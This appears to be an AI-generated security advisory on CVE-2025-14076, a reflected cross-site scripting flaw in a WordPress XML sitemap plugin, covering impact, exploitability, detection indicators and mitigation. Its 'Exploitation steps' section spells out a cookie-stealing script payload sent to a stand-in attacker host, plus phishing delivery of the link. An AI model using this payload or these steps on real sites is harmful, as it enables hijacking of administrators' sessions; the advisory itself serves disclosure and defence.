CVE-2025-14076
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-14076 is a Reflected Cross-Site Scripting (XSS) vulnerability in the iXML – Google XML Sitemap Generator plugin for WordPress. It affects all versions up to and including 0.6, stemming from insufficient input sanitization and output escaping of the iXML_email parameter. Unauthenticated attackers can inject arbitrary web scripts into pages that execute when a victim is tricked into clicking a malicious link. It carries a CVSS v3.1 base score of 6.1 (Medium) and was published on February 19, 2026 (Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The iXML_email parameter is reflected back to the user without adequate sanitization or output escaping, allowing an attacker to craft a URL containing a malicious JavaScript payload. Exploitation requires no authentication and no special privileges, but does require user interaction — specifically, a victim must click a crafted link. The attack vector is network-based with low complexity (Red Hat CVE).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, defacement of page content as seen by the victim, or redirection to malicious sites. Both confidentiality and integrity are impacted at a low level; availability is not affected (Red Hat CVE).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14076 at this time. The EPSS score is approximately 0.061%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering to trick a user into clicking a crafted link, which raises the practical bar for mass exploitation (Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the iXML – Google XML Sitemap Generator plugin version 0.6 or earlier using tools like WPScan or Shodan.
  2. Craft malicious URL: Construct a URL targeting the vulnerable plugin endpoint that includes a malicious payload in the iXML_email parameter, e.g., https://target-site.com/wp-admin/options-general.php?page=ixml&iXML_email=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  3. Deliver the link: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, forum post, or other social engineering channel.
  4. Payload execution: When the victim clicks the link and loads the page, the unsanitized iXML_email value is reflected in the HTML response and the injected script executes in the victim's browser.
  5. Achieve objective: The attacker harvests session cookies, credentials, or performs other malicious actions within the victim's authenticated session (Red Hat CVE).

Indicators of compromise

  • Network: HTTP GET or POST requests to WordPress plugin pages (e.g., options-general.php?page=ixml) containing script tags, encoded JavaScript, or suspicious values in the iXML_email parameter.
  • Logs: Web server access logs showing requests with URL-encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=) in the iXML_email query parameter.
  • Browser/Client: Unexpected redirects or outbound requests from victim browsers to unknown external domains following interaction with WordPress admin pages.

Mitigation and workarounds

Users should update the iXML – Google XML Sitemap Generator plugin to a version beyond 0.6 that includes proper input sanitization and output escaping for the iXML_email parameter. If no patched version is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Site administrators should also implement a Web Application Firewall (WAF) rule to block requests containing script injection patterns in plugin parameters (Red Hat CVE).

Additional resources


SourceThis report was generated using AI

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